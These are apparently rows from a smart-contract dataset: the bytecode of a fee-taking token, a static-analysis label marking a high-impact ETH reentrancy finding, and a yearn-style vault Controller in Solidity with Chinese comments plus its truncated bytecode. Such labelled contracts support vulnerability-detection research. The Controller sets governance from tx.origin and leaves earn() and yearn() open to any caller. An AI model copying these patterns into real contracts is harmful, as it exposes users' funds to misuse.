230610802565b90506107ff816112ef565b6000546001600160a01b03163314610a075760405162461bcd60e51b815260040161062f90611c44565b60005b82811015610a78578160056000868685818110610a2957610a29611c79565b9050602002016020810190610a3e9190611af4565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a7081611ca5565b915050610a0a565b50505050565b6000546001600160a01b03163314610aa85760405162461bcd60e51b815260040161062f90611c44565b601755565b6000546001600160a01b03163314610ad75760405162461bcd60e51b815260040161062f90611c44565b6001600160a01b038116610b3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062f565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062f565b6001600160a01b038216610c5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062f565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062f565b6001600160a01b038216610d815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062f565b60008111610de35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062f565b6000546001600160a01b03848116911614801590610e0f57506000546001600160a01b03838116911614155b156110f057601554600160a01b900460ff16610ea8576000546001600160a01b03848116911614610ea85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062f565b601654811115610efa5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062f565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3c57506001600160a01b03821660009081526010602052604090205460ff16155b610f945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062f565b6015546001600160a01b038381169116146110195760175481610fb684610802565b610fc09190611cc0565b106110195760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062f565b600061102430610802565b60185460165491925082101590821061103d5760165491505b8080156110545750601554600160a81b900460ff16155b801561106e57506015546001600160a01b03868116911614155b80156110835750601554600160b01b900460ff165b80156110a857506001600160a01b03851660009081526005602052604090205460ff16155b80156110cd57506001600160a01b03841660009081526005602052604090205460ff16155b156110ed576110db826112ef565b4780156110eb576110eb47611231565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061113257506001600160a01b03831660009081526005602052604090205460ff165b8061116457506015546001600160a01b0385811691161480159061116457506015546001600160a01b03848116911614155b15611171575060006111eb565b6015546001600160a01b03858116911614801561119c57506014546001600160a01b03848116911614155b156111ae57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d957506014546001600160a01b03858116911614155b156111eb57600a54600c55600b54600d555b610a7884848484611478565b6000818484111561121b5760405162461bcd60e51b815260040161062f9190611a32565b5060006112288486611cd8565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156106a0573d6000803e3d6000fd5b60006006548211156112d25760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062f565b60006112dc6114a6565b90506112e883826114c9565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133757611337611c79565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138b57600080fd5b505afa15801561139f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c39190611cef565b816001815181106113d6576113d6611c79565b6001600160a01b0392831660209182029290920101526014546113fc9130911684610b97565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611435908590600090869030904290600401611d0c565b600060405180830381600087803b15801561144f57600080fd5b505af1158015611463573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b806114855761148561150b565b611490848484611539565b80610a7857610a78600e54600c55600f54600d55565b60008060006114b3611630565b90925090506114c282826114c9565b9250505090565b60006112e883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611674565b600c5415801561151b5750600d54155b1561152257565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154b876116a2565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157d90876116ff565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115ac9086611741565b6001600160a01b0389166000908152600260205260409020556115ce816117a0565b6115d884836117ea565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161d91815260200190565b60405180910390a3505050505050505050565b600654600090819069bc3ac3627d44cbe8300061164d82826114c9565b82101561166b5750506006549269bc3ac3627d44cbe8300092509050565b90939092509050565b600081836116955760405162461bcd60e51b815260040161062f9190611a32565b5060006112288486611d7d565b60008060008060008060008060006116bf8a600c54600d5461180e565b92509250925060006116cf6114a6565b905060008060006116e28e878787611863565b919e509c509a509598509396509194505050505091939550919395565b60006112e883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f7565b60008061174e8385611cc0565b9050838110156112e85760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062f565b60006117aa6114a6565b905060006117b883836118b3565b306000908152600260205260409020549091506117d59082611741565b30600090815260026020526040902055505050565b6006546117f790836116ff565b6006556007546118079082611741565b6007555050565b6000808080611828606461182289896118b3565b906114c9565b9050600061183b60646118228a896118b3565b905060006118538261184d8b866116ff565b906116ff565b9992985090965090945050505050565b600080808061187288866118b3565b9050600061188088876118b3565b9050600061188e88886118b3565b905060006118a08261184d86866116ff565b939b939a50919850919650505050505050565b6000826118c2575060006106b5565b60006118ce8385611d9f565b9050826118db8583611d7d565b146112e85760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062f565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107ff57600080fd5b803561196881611948565b919050565b6000602080838503121561198057600080fd5b823567ffffffffffffffff8082111561199857600080fd5b818501915085601f8301126119ac57600080fd5b8135818111156119be576119be611932565b8060051b604051601f19603f830116810181811085821117156119e3576119e3611932565b604052918252848201925083810185019188831115611a0157600080fd5b938501935b82851015611a2657611a178561195d565b84529385019392850192611a06565b98975050505050505050565b600060208083528351808285015260005b81811015611a5f57858101830151858201604001528201611a43565b81811115611a71576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a9a57600080fd5b8235611aa581611948565b946020939093013593505050565b600080600060608486031215611ac857600080fd5b8335611ad381611948565b92506020840135611ae381611948565b929592945050506040919091013590565b600060208284031215611b0657600080fd5b81356112e881611948565b8035801515811461196857600080fd5b600060208284031215611b3357600080fd5b6112e882611b11565b600060208284031215611b4e57600080fd5b5035919050565b60008060008060808587031215611b6b57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9c57600080fd5b833567ffffffffffffffff80821115611bb457600080fd5b818601915086601f830112611bc857600080fd5b813581811115611bd757600080fd5b8760208260051b8501011115611bec57600080fd5b602092830195509350611c029186019050611b11565b90509250925092565b60008060408385031215611c1e57600080fd5b8235611c2981611948565b91506020830135611c3981611948565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cb957611cb9611c8f565b5060010190565b60008219821115611cd357611cd3611c8f565b500190565b600082821015611cea57611cea611c8f565b500390565b600060208284031215611d0157600080fd5b81516112e881611948565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d5c5784516001600160a01b031683529383019391830191600101611d37565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d9a57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611db957611db9611c8f565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f0e931ddb1cd0cbd06b7f162d62c837d1516846b5a87f520fd5b3b9584cee1e464736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,634 |
0xcc8d36211374a08fc61d74ed2e48e22b922c9d7c
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.5.15;
interface IERC20 {
function totalSupply() external view returns (uint256); // 总供应
function balanceOf(address account) external view returns (uint256); // 平衡
function transfer(address recipient, uint256 amount) external returns (bool); // 转让
function allowance(address owner, address spender) external view returns (uint256); // 补助
function approve(address spender, uint256 amount) external returns (bool); // 批准
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); // 转移自
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// 策略合约的接口层
interface Strategy {
function want() external view returns (address);
function deposit() external;
function withdraw(address) external;
function withdraw(uint) external;
function withdrawAll() external returns (uint);
function balanceOf() external view returns (uint);
}
// 转换器接口层
interface Converter {
function convert(address) external returns (uint);
}
// 价格交换协议
interface OneSplitAudit {
function swap(
address fromToken,
address destToken,
uint256 amount,
uint256 minReturn,
uint256[] calldata distribution,
uint256 flags
)
external
payable
returns(uint256 returnAmount);
function getExpectedReturn(
address fromToken,
address destToken,
uint256 amount,
uint256 parts,
uint256 flags // See constants in IOneSplit.sol
)
external
view
returns(
uint256 returnAmount,
uint256[] memory distribution
);
}
contract Controller {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256; // 给合约中的uint256类型的变量绑定SafeMath库中的所有方法
address public governance; // 治理地址
address public onesplit; // 价格交换协议地址
address public rewards; // 奖励地址
address public burn; // 燃烧地址
address public factory;
mapping(address => address) public vaults;
mapping(address => address) public strategies;
mapping(address => mapping(address => address)) public converters;
uint public split = 5000;
uint public constant max = 10000;
constructor() public {
governance = tx.origin;
onesplit = address(0x50FDA034C0Ce7a8f7EFDAebDA7Aa7cA21CC1267e);
rewards = 0xd951aC97Fe2EC2433789A9EC28255C37E0523b46;
burn = 0xd951aC97Fe2EC2433789A9EC28255C37E0523b46;
}
function setFactory(address _factory) public {
require(msg.sender == governance, "!governance");
factory = _factory;
}
function setSplit(uint _split) public {
require(msg.sender == governance, "!governance");
split = _split;
}
function setOneSplit(address _onesplit) public {
require(msg.sender == governance, "!governance");
onesplit = _onesplit;
}
function setGovernance(address _governance) public {
require(msg.sender == governance, "!governance");
governance = _governance;
}
function setVault(address _token, address _vault) public {
require(msg.sender == governance, "!governance");
vaults[_token] = _vault;
}
function setConverter(address _input, address _output, address _converter) public {
require(msg.sender == governance, "!governance");
converters[_input][_output] = _converter;
}
function setStrategy(address _token, address _strategy) public {
// 某个币对应一个策略, 比如现在的weth就是挖yf
require(msg.sender == governance, "!governance");
address _current = strategies[_token];
if (_current != address(0)) { // 之前的策略存在的话,那么就先提取所有资金
Strategy(_current).withdrawAll();
}
strategies[_token] = _strategy;
}
// 抵押代币给Strategy合约进行理财
function earn(address _token, uint _amount) public {
address _strategy = strategies[_token]; // 获取策略的合约地址
address _want = Strategy(_strategy).want(); // 策略需要的token地址
if (_want != _token) { // 如果策略需要的和输入的不一样,需要先转换
address converter = converters[_token][_want]; // 转换器合约地址
IERC20(_token).safeTransfer(converter, _amount); // 给转换器打钱
_amount = Converter(converter).convert(_strategy); // 执行转换...
IERC20(_want).safeTransfer(_strategy, _amount);
} else {
IERC20(_token).safeTransfer(_strategy, _amount);
}
Strategy(_strategy).deposit(); // 存钱
}
function balanceOf(address _token) external view returns (uint) {
return Strategy(strategies[_token]).balanceOf();
}
function withdrawAll(address _token) public {
require(msg.sender == governance, "!governance");
Strategy(strategies[_token]).withdrawAll();
}
function inCaseTokensGetStuck(address _token, uint _amount) public { // 转任意erc20 token
require(msg.sender == governance, "!governance");
IERC20(_token).safeTransfer(governance, _amount);
}
function getExpectedReturn(address _strategy, address _token, uint parts) public view returns (uint expected) {
uint _balance = IERC20(_token).balanceOf(_strategy); // 获取策略器中某个代币的余额
address _want = Strategy(_strategy).want(); // 策略器需要的代币
(expected,) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _balance, parts, 0);
}
// Only allows to withdraw non-core strategy tokens ~ this is over and above normal yield
function yearn(address _strategy, address _token, uint parts) public {
// This contract should never have value in it, but just incase since this is a public call
uint _before = IERC20(_token).balanceOf(address(this)); // 取出之前的token余额
Strategy(_strategy).withdraw(_token); // 取出token
uint _after = IERC20(_token).balanceOf(address(this)); // 取出之后的token余额
if (_after > _before) {
uint _amount = _after.sub(_before);
address _want = Strategy(_strategy).want();
uint[] memory _distribution;
uint _expected;
_before = IERC20(_want).balanceOf(address(this));
IERC20(_token).safeApprove(onesplit, 0);
IERC20(_token).safeApprove(onesplit, _amount);
(_expected, _distribution) = OneSplitAudit(onesplit).getExpectedReturn(_token, _want, _amount, parts, 0);
OneSplitAudit(onesplit).swap(_token, _want, _amount, _expected, _distribution, 0);
_after = IERC20(_want).balanceOf(address(this));
if (_after > _before) {
_amount = _after.sub(_before);
uint _reward = _amount.mul(split).div(max);
earn(_want, _amount.sub(_reward));
IERC20(_want).safeTransfer(rewards, _reward);
}
}
}
// 去strategy中取款
function withdraw(address _token, uint _amount) public {
require(msg.sender == vaults[_token], "!vault");
Strategy(strategies[_token]).withdraw(_amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106101585760003560e01c80639ec5a894116100c3578063ccd063181161007c578063ccd0631814610751578063e4f2494d146107d5578063f3fef3a314610879578063f712adbb146108c7578063f765417614610911578063fa09e6301461092f57610158565b80639ec5a89414610559578063a622ee7c146105a3578063ab033ea914610627578063b02bf4b91461066b578063c45a0155146106b9578063c6d758cb1461070357610158565b80636ac5db19116101155780636ac5db19146103555780636dcd64e51461037357806370a08231146103f5578063714ccf7b1461044d57806372cb5d97146104b15780638da1df4d1461051557610158565b806304209f481461015d57806339ebf823146101cb57806344df8e701461024f5780635aa6e675146102995780635bb47808146102e3578063674e694f14610327575b600080fd5b6101c96004803603606081101561017357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610973565b005b61020d600480360360208110156101e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611240565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610257611273565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102a1611299565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112be565b005b6103536004803603602081101561033d57600080fd5b81019080803590602001909291905050506113c4565b005b61035d611490565b6040518082815260200191505060405180910390f35b6103df6004803603606081101561038957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611496565b6040518082815260200191505060405180910390f35b6104376004803603602081101561040b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117b1565b6040518082815260200191505060405180910390f35b6104af6004803603604081101561046357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061189a565b005b610513600480360360408110156104c757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506119de565b005b6105576004803603602081101561052b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c40565b005b610561611d46565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105e5600480360360208110156105b957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d6c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9f565b005b6106b76004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611ea4565b005b6106c161220b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61074f6004803603604081101561071957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612231565b005b6107d36004803603606081101561076757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612343565b005b610837600480360360408110156107eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124c5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6108c56004803603604081101561088f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050612507565b005b6108cf6126d5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6109196126fb565b6040518082815260200191505060405180910390f35b6109716004803603602081101561094557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612701565b005b60008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109f257600080fd5b505afa158015610a06573d6000803e3d6000fd5b505050506040513d6020811015610a1c57600080fd5b810190808051906020019092919050505090508373ffffffffffffffffffffffffffffffffffffffff166351cff8d9846040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050600060405180830381600087803b158015610aae57600080fd5b505af1158015610ac2573d6000803e3d6000fd5b5050505060008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610b4557600080fd5b505afa158015610b59573d6000803e3d6000fd5b505050506040513d6020811015610b6f57600080fd5b8101908080519060200190929190505050905081811115611239576000610b9f83836128a990919063ffffffff16565b905060008673ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b158015610be957600080fd5b505afa158015610bfd573d6000803e3d6000fd5b505050506040513d6020811015610c1357600080fd5b81019080805190602001909291905050509050606060008273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610ca757600080fd5b505afa158015610cbb573d6000803e3d6000fd5b505050506040513d6020811015610cd157600080fd5b81019080805190602001909291905050509550610d32600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660008a73ffffffffffffffffffffffffffffffffffffffff166128f39092919063ffffffff16565b610d7f600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16858a73ffffffffffffffffffffffffffffffffffffffff166128f39092919063ffffffff16565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8985878b60006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b158015610e6b57600080fd5b505afa158015610e7f573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f820116820180604052506040811015610ea957600080fd5b810190808051906020019092919080516040519392919084640100000000821115610ed357600080fd5b83820191506020820185811115610ee957600080fd5b8251866020820283011164010000000082111715610f0657600080fd5b8083526020830192505050908051906020019060200280838360005b83811015610f3d578082015181840152602081019050610f22565b505050509050016040525050508093508192505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663e2a7515e898587858760006040518763ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815260200180602001838152602001828103825284818151815260200191508051906020019060200280838360005b8381101561105f578082015181840152602081019050611044565b50505050905001975050505050505050602060405180830381600087803b15801561108957600080fd5b505af115801561109d573d6000803e3d6000fd5b505050506040513d60208110156110b357600080fd5b8101908080519060200190929190505050508273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561114257600080fd5b505afa158015611156573d6000803e3d6000fd5b505050506040513d602081101561116c57600080fd5b81019080805190602001909291905050509450858511156112345761119a86866128a990919063ffffffff16565b935060006111c76127106111b960085488612b1390919063ffffffff16565b612b9990919063ffffffff16565b90506111e5846111e083886128a990919063ffffffff16565b611ea4565b611232600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828673ffffffffffffffffffffffffffffffffffffffff16612be39092919063ffffffff16565b505b505050505b5050505050565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611380576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611486576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b61271081565b6000808373ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561151657600080fd5b505afa15801561152a573d6000803e3d6000fd5b505050506040513d602081101561154057600080fd5b8101908080519060200190929190505050905060008573ffffffffffffffffffffffffffffffffffffffff16631f1fcd516040518163ffffffff1660e01b815260040160206040518083038186803b15801561159b57600080fd5b505afa1580156115af573d6000803e3d6000fd5b505050506040513d60208110156115c557600080fd5b81019080805190602001909291905050509050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663085e2c5b8683858860006040518663ffffffff1660e01b8152600401808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018281526020019550505050505060006040518083038186803b1580156116c457600080fd5b505afa1580156116d8573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250604081101561170257600080fd5b81019080805190602001909291908051604051939291908464010000000082111561172c57600080fd5b8382019150602082018581111561174257600080fd5b825186602082028301116401000000008211171561175f57600080fd5b8083526020830192505050908051906020019060200280838360005b8381101561179657808201518184015260208101905061177b565b50505050905001604052505050508093505050509392505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663722713f76040518163ffffffff1660e01b815260040160206040518083038186803b15801561185857600080fd5b505afa15801561186c573d6000803e3d6000fd5b505050506040513d602081101561188257600080fd5b81019080805190602001909291905050509050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461195c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aa0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611bbd578073ffffffffffffffffffffffffffffffffffffffff1663853828b66040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611b8057600080fd5b505af1158015611b94573d6000803e3d6000fd5b505050506040513d6020811015611baa57600080fd5b8101908080519060200190929190505050505b81600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548173fffffffffffff